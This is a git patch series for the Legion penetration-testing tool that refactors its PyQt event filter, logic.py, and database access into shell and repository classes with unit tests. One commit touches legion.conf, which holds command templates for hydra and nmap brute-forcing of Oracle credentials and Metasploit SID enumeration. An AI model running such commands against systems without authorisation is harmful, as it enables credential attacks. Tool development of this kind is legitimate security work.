Mock(return_value=1) + selection_model.selectedRows = Mock(return_value=[selected_row]) + self.mock_receiver.selectionModel = Mock(return_value=selection_model) + + result = event_filter.eventFilter(self.mock_receiver, self.mock_event) + self.assertTrue(result) + self.mock_receiver.selectRow.assert_called_once_with(0) + self.mock_receiver.clicked.emit.assert_called_with(selected_row) + + @patch('PyQt5.QtWidgets.QTableView') + @patch('PyQt5.QtWidgets.QAbstractItemView') + @patch('PyQt5.QtCore.QModelIndex') + @patch('PyQt5.QtGui.QClipboard') + def test_eventFilter_whenKeyCPressed_SelectsPreviousRowAndEmitsClickEvent( + self, hosts_table_view, selection_model, selected_row, mock_clipboard): + expected_data = MagicMock() + expected_data.toString = Mock(return_value="some clipboard data") + control_modifier = mock.patch.object(QApplication, 'keyboardModifiers', return_value=Qt.ControlModifier) + clipboard = mock.patch.object(QApplication, 'clipboard', return_value=mock_clipboard) + + self.mock_view.ui.HostsTableView = hosts_table_view + event_filter = MyEventFilter(self.mock_view, self.mock_main_window) + self.simulateKeyPress(Qt.Key_C) + self.mock_receiver = hosts_table_view + selected_row.data = Mock(return_value=expected_data) + selection_model.currentIndex = Mock(return_value=selected_row) + self.mock_receiver.selectionModel = Mock(return_value=selection_model) + + with control_modifier, clipboard: + result = event_filter.eventFilter(self.mock_receiver, self.mock_event) + self.assertTrue(result) + mock_clipboard.setText.assert_called_once_with("some clipboard data") + + def test_eventFilter_onDefaultAction_CallsParentEventFilter(self): + event_filter = MyEventFilter(self.mock_view, self.mock_main_window) + result = event_filter.eventFilter(QObject(), QEvent(QEvent.Scroll)) + self.assertFalse(result) + + def simulateKeyPress(self, key_event): + self.mock_event.type = Mock(return_value=QEvent.KeyPress) + self.mock_event.key = Mock(return_value=key_event) diff --git a/ui/eventfilter.py b/ui/eventfilter.py new file mode 100644 index 00000000..7e9df95d --- /dev/null +++ b/ui/eventfilter.py @@ -0,0 +1,70 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" +from PyQt5.QtCore import QObject, QEvent, Qt +from PyQt5.QtWidgets import QApplication + + +# This class is used to catch events such as arrow key presses or close window (X) +class MyEventFilter(QObject): + def __init__(self, view, main_window): + super().__init__() + self.view = view + self.main_window = main_window + self.hosts_table_views = { + view.ui.HostsTableView, + view.ui.ServiceNamesTableView, + view.ui.ToolsTableView, + view.ui.ToolHostsTableView, + view.ui.ScriptsTableView, + view.ui.ServicesTableView, + view.settingsWidget.toolForHostsTableWidget, + view.settingsWidget.toolForServiceTableWidget, + view.settingsWidget.toolForTerminalTableWidget, + } + + def eventFilter(self, receiver, event): + # catch up/down arrow key presses in hosts table + if event.type() == QEvent.KeyPress and receiver in self.hosts_table_views: + key = event.key() + if not receiver.selectionModel().selectedRows(): + return True + index = receiver.selectionModel().selectedRows()[0].row() + + if key == Qt.Key_Down: + new_index = index + 1 + receiver.selectRow(new_index) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif key == Qt.Key_Up: + new_index = index - 1 + receiver.selectRow(new_index) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif QApplication.keyboardModifiers() == Qt.ControlModifier and key == Qt.Key_C: + selected = receiver.selectionModel().currentIndex() + clipboard = QApplication.clipboard() + clipboard.setText(selected.data().toString()) + + return True + + elif event.type() == QEvent.Close and receiver == self.main_window: + event.ignore() + self.view.appExit() + return True + + else: + parent = super(MyEventFilter, self) + return parent.eventFilter(receiver, event) # normal event processing From c37a287d656f9a519d6d94a5ac7cee3610bbd1a8 Mon Sep 17 00:00:00 2001 From: GitHub Date: Tue, 27 Aug 2019 09:28:29 -0400 Subject: [PATCH 286/450] Updating govanguard.io links to govanguard.com --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 25d80231..2948635c 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ If you are interested in contributing to Legion, join our [Legion Keybase Team]( * Supported by a highly active development team ### GIF DEMO -![](https://govanguard.io/wp-content/uploads/2019/02/LegionDemo.gif) +![](https://govanguard.com/wp-content/uploads/2019/02/LegionDemo.gif) ## INSTALLATION It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. @@ -179,7 +179,7 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. ## ATTRIBUTION -* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to [GoVanguard](https://govanguard.io) +* Refactored Python 3.6+ codebase, added feature set and ongoing development of Legion is credited to [GoVanguard](https://govanguard.com) * The initial Sparta Python 2.7 codebase and application design is credited SECFORCE. * Several additional PortActions, PortTerminalActions and SchedulerSettings are credited to batmancrew. * The nmap XML output parsing engine was largely based on code by yunshu, modified by ketchup and modified SECFORCE. From a219cccfcc983ed802808df47979bf2297d71be1 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Fri, 30 Aug 2019 22:08:47 -0400 Subject: [PATCH 287/450] Fix complexity bug in eventfilter - Ran ui/eventfilter.py through CodeClimate CLI and is no longer showing any cognitive complexity issues in the logic --- ui/eventfilter.py | 44 +++++++++++++++++++++----------------------- 1 file changed, 21 insertions(+), 23 deletions(-) diff --git a/ui/eventfilter.py b/ui/eventfilter.py index 7e9df95d..4e2871d4 100644 --- a/ui/eventfilter.py +++ b/ui/eventfilter.py @@ -38,33 +38,31 @@ def __init__(self, view, main_window): def eventFilter(self, receiver, event): # catch up/down arrow key presses in hosts table if event.type() == QEvent.KeyPress and receiver in self.hosts_table_views: - key = event.key() - if not receiver.selectionModel().selectedRows(): - return True - index = receiver.selectionModel().selectedRows()[0].row() - - if key == Qt.Key_Down: - new_index = index + 1 - receiver.selectRow(new_index) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif key == Qt.Key_Up: - new_index = index - 1 - receiver.selectRow(new_index) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif QApplication.keyboardModifiers() == Qt.ControlModifier and key == Qt.Key_C: - selected = receiver.selectionModel().currentIndex() - clipboard = QApplication.clipboard() - clipboard.setText(selected.data().toString()) - - return True - + return self.filterKeyPressInHostsTableView(event.key(), receiver) elif event.type() == QEvent.Close and receiver == self.main_window: event.ignore() self.view.appExit() return True - else: parent = super(MyEventFilter, self) return parent.eventFilter(receiver, event) # normal event processing + + def filterKeyPressInHostsTableView(self, key, receiver): + if not receiver.selectionModel().selectedRows(): + return True + + index = receiver.selectionModel().selectedRows()[0].row() + + if key == Qt.Key_Down: + new_index = index + 1 + receiver.selectRow(new_index) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + elif key == Qt.Key_Up: + new_index = index - 1 + receiver.selectRow(new_index) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + elif QApplication.keyboardModifiers() == Qt.ControlModifier and key == Qt.Key_C: + selected = receiver.selectionModel().currentIndex() + clipboard = QApplication.clipboard() + clipboard.setText(selected.data().toString()) + return True From e03aaf4c4f6aa69e47b8094efcdc34510a4a58fc Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 31 Aug 2019 07:27:08 -0700 Subject: [PATCH 288/450] Fix unbalanced tickmark issue in legion.conf - The file was not loaded correctly by Legion on startup due to an error with a trailing single quote --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 6a93f208..a8a88e35 100644 --- a/legion.conf +++ b/legion.conf @@ -200,7 +200,7 @@ oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --sc oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" From 9618449e550bae4a8b0d276b594898598d48e806 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 1 Sep 2019 08:17:37 -0700 Subject: [PATCH 289/450] Reduce cognitive complexity on logic.py - GitHub issue #19 - Introduce concept of Shell - which should abstract all operations pertaining to lower level OS calls, e.g. creating/removing directories, etc. - This commit does not close issue #19 but is part of a series of commits to spend down the technical debt surrounding `logic.py` file --- app/logic.py | 113 ++++++++++++++++--------------- app/shell/DefaultShell.py | 26 +++++++ app/shell/Shell.py | 27 ++++++++ legion.py | 4 +- tests/app/__init__.py | 0 tests/app/test_logic.py | 138 ++++++++++++++++++++++++++++++++++++++ 6 files changed, 254 insertions(+), 54 deletions(-) create mode 100644 app/shell/DefaultShell.py create mode 100644 app/shell/Shell.py create mode 100644 tests/app/__init__.py create mode 100644 tests/app/test_logic.py diff --git a/app/logic.py b/app/logic.py index a2606cd6..6fb3c221 100644 --- a/app/logic.py +++ b/app/logic.py @@ -11,20 +11,21 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -import os, tempfile, ntpath, shutil # for creation of temp files and file operations -import logging # test -import subprocess # for CWD -from parsers.Parser import * +import ntpath # for creation of temp files and file operations +import shutil +import tempfile + +from app.shell.Shell import Shell from db.database import * -from app.auxiliary import * -from ui.ancillaryDialog import * -from six import u as unicode -from pyShodan import PyShodan +from parsers.Parser import * from scripts.python import pyShodan +from ui.ancillaryDialog import * + -class Logic(): - def __init__(self): - self.cwd = str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode()) + '/' +class Logic: + def __init__(self, shell: Shell): + self.shell = shell + self.cwd = shell.get_current_working_directory() self.createTemporaryFiles() # creates temporary files/folders used by SPARTA def createTemporaryFiles(self): @@ -32,15 +33,21 @@ def createTemporaryFiles(self): log.info('Creating temporary files..') self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving log.info(self.cwd) - tf = tempfile.NamedTemporaryFile(suffix=".legion",prefix="legion-", delete=False, dir="./tmp/") # to store the database file - self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes - self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes - os.makedirs(self.outputfolder+'/screenshots') # to store screenshots - os.makedirs(self.runningfolder+'/nmap') # to store nmap output - os.makedirs(self.runningfolder+'/hydra') # to store hydra output - os.makedirs(self.runningfolder+'/dnsmap') # to store dnsmap output - self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames - self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords + + tf = self.shell.create_named_temporary_file( + suffix=".legion", prefix="legion-", directory="./tmp/", delete_on_close=False) # to store the database file + self.outputfolder = self.shell.create_temporary_directory( + prefix="legion-", suffix="-tool-output", directory="./tmp/") # to store tool output of finished processes + self.runningfolder = self.shell.create_temporary_directory( + prefix="legion-", suffix="-running", directory="./tmp/") # to store tool output of running processes + + self.shell.create_directory_recursively(f"{self.outputfolder}/screenshots") # to store screenshots + self.shell.create_directory_recursively(f"{self.runningfolder}/nmap") # to store nmap output + self.shell.create_directory_recursively(f"{self.runningfolder}/hydra") # to store hydra output + self.shell.create_directory_recursively(f"{self.runningfolder}/dnsmap") # to store dnsmap output + + self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name log.info(tf.name) self.db = Database(self.projectname) @@ -49,30 +56,26 @@ def createTemporaryFiles(self): log.info('Something went wrong creating the temporary files..') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - def removeTemporaryFiles(self, doCleanup = False): - if doCleanup == True: - log.info('Removing temporary files and folders..') - try: - if not self.istemp: # if current project is not temporary - if not self.storeWordlists: # delete wordlists if necessary - log.info('Removing wordlist files.') - os.remove(self.usernamesWordlist.filename) - os.remove(self.passwordsWordlist.filename) - - else: - os.remove(self.projectname) - shutil.rmtree(self.outputfolder) - - shutil.rmtree(self.runningfolder) + def removeTemporaryFiles(self): + log.info('Removing temporary files and folders..') + try: + # if current project is not temporary & delete wordlists if necessary + if not self.istemp and not self.storeWordlists: + log.info('Removing wordlist files.') + self.shell.remove_file(self.usernamesWordlist.filename) + self.shell.remove_file(self.passwordsWordlist.filename) + else: + self.shell.remove_file(self.projectname) + self.shell.remove_directory(self.outputfolder) - except: - log.info('Something went wrong removing temporary files and folders..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - return + self.shell.remove_directory(self.runningfolder) + except: + log.info('Something went wrong removing temporary files and folders..') + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) def createFolderForTool(self, tool): if 'nmap' in tool: - tool = 'nmap' + tool = 'nmap' path = self.runningfolder+'/'+re.sub("[^0-9a-zA-Z]", "", str(tool)) if not os.path.exists(path): os.makedirs(path) @@ -432,24 +435,28 @@ def addScreenshotToDB(self, ip, port, filename): session.add(p) session.commit() return p.id - - # is not actually a toggle function. it sets all the non-running processes display flag to false to ensure they aren't shown in the process table + + # is not actually a toggle function. it sets all the non-running processes display flag to false to ensure they aren't shown in the process table # but they need to be shown as tool tabs. this function is called when a user clears the processes or when a project is being closed. def toggleProcessDisplayStatus(self, resetAll=False): session = self.db.session() proc = session.query(process).filter_by(display='True').all() - if resetAll == True: - for p in proc: - if p.status != 'Running': - p.display = 'False' - session.add(p) - else: - for p in proc: - if p.status != 'Running' and p.status != 'Waiting': - p.display = 'False' - session.add(p) + for p in proc: + session.add(self.toggle_process_status_field(p, resetAll)) self.db.commit() - + + def toggle_process_status_field(self, p, reset_all): + not_running = p.status != 'Running' + not_waiting = p.status != 'Waiting' + + if reset_all and not_running: + p.display = 'False' + else: + if not_running and not_waiting: + p.display = 'False' + + return p + # this function updates the status of a process if it is killed def storeProcessKillStatusInDB(self, procId): session = self.db.session() diff --git a/app/shell/DefaultShell.py b/app/shell/DefaultShell.py new file mode 100644 index 00000000..1a11bf32 --- /dev/null +++ b/app/shell/DefaultShell.py @@ -0,0 +1,26 @@ +import os +import shutil +import subprocess +import tempfile + +from app.shell.Shell import Shell + + +class DefaultShell(Shell): + def get_current_working_directory(self) -> str: + return str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode()) + '/' + + def create_directory_recursively(self, directory: str): + os.makedirs(directory) + + def remove_file(self, file_path: str) -> None: + os.remove(file_path) + + def remove_directory(self, directory: str) -> None: + shutil.rmtree(directory) + + def create_temporary_directory(self, prefix: str, suffix: str, directory: str): + return tempfile.mkdtemp(prefix=prefix, suffix=suffix, dir=directory) + + def create_named_temporary_file(self, prefix: str, suffix: str, directory: str, delete_on_close: bool): + return tempfile.NamedTemporaryFile(prefix=prefix, suffix=suffix, dir=directory, delete=delete_on_close) diff --git a/app/shell/Shell.py b/app/shell/Shell.py new file mode 100644 index 00000000..10e5ee6f --- /dev/null +++ b/app/shell/Shell.py @@ -0,0 +1,27 @@ +from abc import ABC, abstractmethod + + +class Shell(ABC): + @abstractmethod + def get_current_working_directory(self) -> str: + pass + + @abstractmethod + def remove_file(self, file_path: str) -> None: + pass + + @abstractmethod + def remove_directory(self, directory: str) -> None: + pass + + @abstractmethod + def create_temporary_directory(self, prefix: str, suffix: str, directory: str): + pass + + @abstractmethod + def create_directory_recursively(self, directory: str): + pass + + @abstractmethod + def create_named_temporary_file(self, prefix: str, suffix: str, directory: str, delete_on_close: bool): + pass diff --git a/legion.py b/legion.py index 21ccfc13..45dbc22e 100644 --- a/legion.py +++ b/legion.py @@ -9,6 +9,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' +from app.shell.DefaultShell import DefaultShell from ui.eventfilter import MyEventFilter from utilities.stenoLogging import * log = get_logger('legion', path="./log/legion-startup.log") @@ -74,7 +75,8 @@ MainWindow.setStyleSheet(qss_file) - logic = Logic() # Model prep (logic, db and models) + shell = DefaultShell() + logic = Logic(shell) # Model prep (logic, db and models) view = View(ui, MainWindow) # View prep (gui) controller = Controller(view, logic) # Controller prep (communication between model and view) view.qss = qss_file diff --git a/tests/app/__init__.py b/tests/app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/app/test_logic.py b/tests/app/test_logic.py new file mode 100644 index 00000000..5ac91d84 --- /dev/null +++ b/tests/app/test_logic.py @@ -0,0 +1,138 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from unittest import mock +from unittest.mock import MagicMock, patch + + +def build_mock_process(status: str, display: str) -> MagicMock: + process = MagicMock() + process.status = status + process.display = display + return process + + +class LogicTest(unittest.TestCase): + def setUp(self) -> None: + self.shell = MagicMock() + self.mock_db_session = MagicMock() + + @patch('utilities.stenoLogging.get_logger') + def test_init_ShouldLoadInitialVariablesSuccessfully(self, get_logger): + get_logger.return_value = MagicMock() + from app.logic import Logic + + self.shell.get_current_working_directory.return_value = "./some/path/" + self.shell.create_temporary_directory.side_effect = ["./output/folder", "./running/folder"] + logic = Logic(self.shell) + + self.assertEqual("./some/path/", logic.cwd) + self.assertTrue(logic.istemp) + self.shell.create_directory_recursively.assert_has_calls([ + mock.call("./output/folder/screenshots"), + mock.call("./running/folder/nmap"), + mock.call("./running/folder/hydra"), + mock.call("./running/folder/dnsmap"), + ]) + + @patch('utilities.stenoLogging.get_logger') + def test_removeTemporaryFiles_whenProjectIsNotTemporaryAndNotStoringWordlists_shouldRemoveWordListsAndRunningFolder( + self, get_logger): + get_logger.return_value = MagicMock() + from app.logic import Logic + logic = Logic(self.shell) + logic.setStoreWordlistsOnExit(False) + logic.istemp = False + logic.runningfolder = "./running/folder" + logic.usernamesWordlist = MagicMock() + logic.usernamesWordlist.filename = "UsernamesList.txt" + logic.passwordsWordlist = MagicMock() + logic.passwordsWordlist.filename = "PasswordsList.txt" + logic.removeTemporaryFiles() + + self.shell.remove_file.assert_has_calls([mock.call("UsernamesList.txt"), mock.call("PasswordsList.txt")]) + self.shell.remove_directory.assert_called_once_with("./running/folder") + + @patch('utilities.stenoLogging.get_logger') + def test_removeTemporaryFiles_whenProjectIsTemporary_shouldRemoveProjectAndOutputFolderAndRunningFolder( + self, get_logger): + get_logger.return_value = MagicMock() + from app.logic import Logic + logic = Logic(self.shell) + logic.istemp = True + logic.projectname = "project-name" + logic.runningfolder = "./running/folder" + logic.outputfolder = "./output/folder" + logic.removeTemporaryFiles() + + self.shell.remove_file.assert_called_once_with("project-name") + self.shell.remove_directory.assert_has_calls([mock.call("./output/folder"), mock.call("./running/folder")]) + + @patch('utilities.stenoLogging.get_logger') + def test_toggleProcessDisplayStatus_whenResetAllIsTrue_setDisplayToFalseForAllProcessesThatAreNotRunning( + self, get_logger): + get_logger.return_value = MagicMock() + from app.logic import Logic + logic = Logic(self.shell) + + process1 = build_mock_process(status="Waiting", display="True") + process2 = build_mock_process(status="Waiting", display="True") + logic.db = MagicMock() + logic.db.session.return_value = self.mock_db_session + mock_query_response = MagicMock() + mock_filtered_response = MagicMock() + mock_filtered_response.all.return_value = [process1, process2] + mock_query_response.filter_by.return_value = mock_filtered_response + self.mock_db_session.query.return_value = mock_query_response + logic.toggleProcessDisplayStatus(resetAll=True) + + self.assertEqual("False", process1.display) + self.assertEqual("False", process2.display) + self.mock_db_session.add.assert_has_calls([ + mock.call(process1), + mock.call(process2), + ]) + logic.db.commit.assert_called_once() + + @patch('utilities.stenoLogging.get_logger') + def test_toggleProcessDisplayStatus_whenResetAllIFalse_setDisplayToFalseForAllProcessesThatAreNotRunningOrWaiting( + self, get_logger): + get_logger.return_value = MagicMock() + from app.logic import Logic + logic = Logic(self.shell) + + process1 = build_mock_process(status="Random Status", display="True") + process2 = build_mock_process(status="Another Random Status", display="True") + process3 = build_mock_process(status="Running", display="True") + logic.db = MagicMock() + logic.db.session.return_value = self.mock_db_session + mock_query_response = MagicMock() + mock_filtered_response = MagicMock() + mock_filtered_response.all.return_value = [process1, process2] + mock_query_response.filter_by.return_value = mock_filtered_response + self.mock_db_session.query.return_value = mock_query_response + logic.toggleProcessDisplayStatus() + + self.assertEqual("False", process1.display) + self.assertEqual("False", process2.display) + self.assertEqual("True", process3.display) + self.mock_db_session.add.assert_has_calls([ + mock.call(process1), + mock.call(process2), + ]) + logic.db.commit.assert_called_once() From 46bbdecf33188cf3243687364ef742eed89ca643 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 8 Sep 2019 18:35:02 -0400 Subject: [PATCH 290/450] Refactoring logic.py into smaller components - This commit is the 2nd iteration on reducing complexity of `logic.py` - Introduces the concept of a repository. A repository is an abstraction on a data store. In the case of Legion, the underlying data store is based on SQLite, and so the repository implementations should contain all SQL code within the app. - There is a repository for each concept within the app, such as a Process, a Service, a Host, a Port, etc. (e.g. ProcessRepository, HostRepository, etc.) - This commit does not complete the full refactoring of all SQL related code to a repository. Further commits will be added to complete the work. - All new code added was driven by an underlying unit test. In order to gain confidence in proper refactoring of existing logic, a backporting of unit tests was needed. --- .travis.yml | 4 +- app/logic.py | 224 +++--------------- backup/.gitkeep | 0 controller/controller.py | 73 +++--- db/database.py | 2 +- db/filters.py | 55 +++++ db/repositories/CVERepository.py | 30 +++ db/repositories/HostRepository.py | 49 ++++ db/repositories/PortRepository.py | 41 ++++ db/repositories/ProcessRepository.py | 68 ++++++ db/repositories/ServiceRepository.py | 41 ++++ legion.py | 10 +- log/.gitkeep | 0 tests/app/test_logic.py | 33 +-- tests/db/__init__.py | 0 tests/db/helpers/db_helpers.py | 25 ++ tests/db/repositories/__init__.py | 0 tests/db/repositories/test_CVERepository.py | 41 ++++ tests/db/repositories/test_HostRepository.py | 128 ++++++++++ tests/db/repositories/test_PortRepository.py | 93 ++++++++ .../db/repositories/test_ProcessRepository.py | 187 +++++++++++++++ .../db/repositories/test_ServiceRepository.py | 80 +++++++ tests/db/test_filters.py | 127 ++++++++++ 23 files changed, 1054 insertions(+), 257 deletions(-) create mode 100644 backup/.gitkeep create mode 100644 db/filters.py create mode 100644 db/repositories/CVERepository.py create mode 100644 db/repositories/HostRepository.py create mode 100644 db/repositories/PortRepository.py create mode 100644 db/repositories/ProcessRepository.py create mode 100644 db/repositories/ServiceRepository.py create mode 100644 log/.gitkeep create mode 100644 tests/db/__init__.py create mode 100644 tests/db/helpers/db_helpers.py create mode 100644 tests/db/repositories/__init__.py create mode 100644 tests/db/repositories/test_CVERepository.py create mode 100644 tests/db/repositories/test_HostRepository.py create mode 100644 tests/db/repositories/test_PortRepository.py create mode 100644 tests/db/repositories/test_ProcessRepository.py create mode 100644 tests/db/repositories/test_ServiceRepository.py create mode 100644 tests/db/test_filters.py diff --git a/.travis.yml b/.travis.yml index 60c4565a..5387dd27 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,8 +9,7 @@ language: python sudo: true python: - -- 3.6 + - "3.6" install: - cp ./requirements.txt ./deps/ @@ -21,6 +20,7 @@ script: - python -m unittest after_success: + - (test $TRAVIS_BRANCH != "master" && test $TRAVIS_BRANCH != "development") && exit 0 - cd ./docker/ - docker login -u $DOCKER_USER -p $DOCKER_PASS - export REPO=gvit/legion diff --git a/app/logic.py b/app/logic.py index 6fb3c221..658caf5e 100644 --- a/app/logic.py +++ b/app/logic.py @@ -1,32 +1,50 @@ #!/usr/bin/env python -''' +""" LEGION (https://govanguard.io) Copyright (c) 2018 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" -import ntpath # for creation of temp files and file operations +import ntpath import shutil import tempfile from app.shell.Shell import Shell from db.database import * +from db.repositories.CVERepository import CVERepository +from db.repositories.HostRepository import HostRepository +from db.repositories.PortRepository import PortRepository +from db.repositories.ProcessRepository import ProcessRepository +from db.repositories.ServiceRepository import ServiceRepository from parsers.Parser import * from scripts.python import pyShodan from ui.ancillaryDialog import * class Logic: - def __init__(self, shell: Shell): + def __init__(self, project_name: str, db: Database, shell: Shell): self.shell = shell + self.db = db self.cwd = shell.get_current_working_directory() - self.createTemporaryFiles() # creates temporary files/folders used by SPARTA + self.projectname = project_name + log.info(project_name) + self.createTemporaryFiles() # creates temporary files/folders used by SPARTA + self.service_repository: ServiceRepository = ServiceRepository(self.db) + self.process_repository: ProcessRepository = ProcessRepository(self.db, log) + self.host_repository: HostRepository = HostRepository(self.db) + self.port_repository: PortRepository = PortRepository(self.db) + self.cve_repository: CVERepository = CVERepository(self.db) def createTemporaryFiles(self): try: @@ -34,8 +52,6 @@ def createTemporaryFiles(self): self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving log.info(self.cwd) - tf = self.shell.create_named_temporary_file( - suffix=".legion", prefix="legion-", directory="./tmp/", delete_on_close=False) # to store the database file self.outputfolder = self.shell.create_temporary_directory( prefix="legion-", suffix="-tool-output", directory="./tmp/") # to store tool output of finished processes self.runningfolder = self.shell.create_temporary_directory( @@ -48,10 +64,6 @@ def createTemporaryFiles(self): self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords - self.projectname = tf.name - log.info(tf.name) - self.db = Database(self.projectname) - except: log.info('Something went wrong creating the temporary files..') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) @@ -190,57 +202,6 @@ def saveProjectAs(self, filename, replace=0, projectType = 'legion'): log.info("Unexpected error: {0}".format(sys.exc_info()[0])) return False - def isHostInDB(self, host): # used we don't run tools on hosts out of scope - query = 'SELECT host.ip FROM hostObj AS host WHERE host.ip == ? OR host.hostname == ?' - result = self.db.metadata.bind.execute(query, str(host), str(host)).fetchall() - if result: - return True - return False - - def getHostsFromDB(self, filters): - query = 'SELECT * FROM hostObj AS hosts WHERE 1=1' - - if filters.down == False: - query += ' AND hosts.status!=\'down\'' - if filters.up == False: - query += ' AND hosts.status!=\'up\'' - if filters.checked == False: - query += ' AND hosts.checked!=\'True\'' - for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' - - return self.db.metadata.bind.execute(query).fetchall() - - # get distinct service names from DB - def getServiceNamesFromDB(self, filters): - query = ('SELECT DISTINCT service.name FROM serviceObj as service ' + - 'INNER JOIN portObj as ports ' + - 'INNER JOIN hostObj AS hosts ' + - 'ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1') - - if filters.down == False: - query += ' AND hosts.status!=\'down\'' - if filters.up == False: - query += ' AND hosts.status!=\'up\'' - if filters.checked == False: - query += ' AND hosts.checked!=\'True\'' - for word in filters.keywords: - query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.osMatch LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' - if filters.portopen == False: - query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' - if filters.portclosed == False: - query += ' AND ports.state!=\'closed\'' - if filters.portfiltered == False: - query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' - if filters.tcp == False: - query += ' AND ports.protocol!=\'tcp\'' - if filters.udp == False: - query += ' AND ports.protocol!=\'udp\'' - - query += ' ORDER BY service.name ASC' - - return self.db.metadata.bind.execute(query).fetchall() - # get notes for given host IP def getNoteFromDB(self, hostId): session = self.db.session() @@ -254,54 +215,11 @@ def getScriptsFromDB(self, hostIP): 'WHERE hosts.ip=?') return 